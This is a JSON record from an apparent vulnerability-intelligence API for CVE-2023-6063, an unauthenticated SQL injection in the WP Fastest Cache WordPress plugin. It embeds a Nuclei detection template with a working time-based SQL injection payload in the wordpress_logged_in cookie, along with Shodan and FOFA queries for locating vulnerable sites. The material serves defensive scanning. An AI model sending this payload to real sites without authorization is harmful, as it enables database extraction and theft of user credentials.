{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-6063/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-6063/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-6063/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-6063/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-6063/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-6063/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2023-6063"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2023-6063"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.73708,"kev":false,"percentile":0.99474},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-6063.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2023-6063\n\ninfo:\n  name: WP Fastest Cache 1.2.2 - SQL Injection\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    The WP Fastest Cache WordPress plugin before 1.2.2 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.\n  impact: |\n    Unauthenticated attackers can execute SQL injection to extract the complete WordPress database including user credentials and site data.\n  remediation: Fixed in 1.2.2\n  reference:\n    - https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/\n    - https://wordpress.org/plugins/wp-fastest-cache/\n    - https://github.com/motikan2010/CVE-2023-6063-PoC\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-6063\n    - https://wpscan.com/vulnerability/30a74105-8ade-4198-abe2-1c6f2967443e/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2023-6063\n    cwe-id: CWE-89\n    epss-score: 0.73708\n    epss-percentile: 0.99475\n    cpe: cpe:2.3:a:wpfastestcache:wp_fastest_cache:*:*:*:*:*:wordpress:*:*\n  metadata:\n    max-request: 2\n    vendor: wpfastestcache\n    product: \"wp_fastest_cache\"\n    framework: wordpress\n    shodan-query: \"http.html:/wp-content/plugins/wp-fastest-cache/\"\n    fofa-query: \"body=/wp-content/plugins/wp-fastest-cache/\"\n    publicwww-query: \"/wp-content/plugins/wp-fastest-cache/\"\n  tags: time-based-sqli,cve,cve2023,wp-fastest-cache,wpscan,wordpress,wp-plugin,sqli,wpfastestcache,vuln,vkev\nflow: |\n    if (http(1)) {\n        for (let i = 0; i < 2; i++) {\n            http(2);\n        }}\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/wp-fastest-cache/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"WP Fastest Cache\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 20s\n        GET /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: wordpress_logged_in=\" AND (SELECT 5025 FROM (SELECT(SLEEP(7)))NkcI) AND \"tqKU\"=\"tqKU\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=7'\n          - 'status_code == 200'\n          - 'contains(body, \"/wp-\")'\n        condition: and\n# digest: 4a0a00473045022100b85dd5e5153ed79cc66e234f90161effb4b33aee112839fd556487aaeb1bbdc8022015742247534626cc9388171d867bae7df3dc9d3a82a0d9dce59ea62294d3dbc7:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-6063"}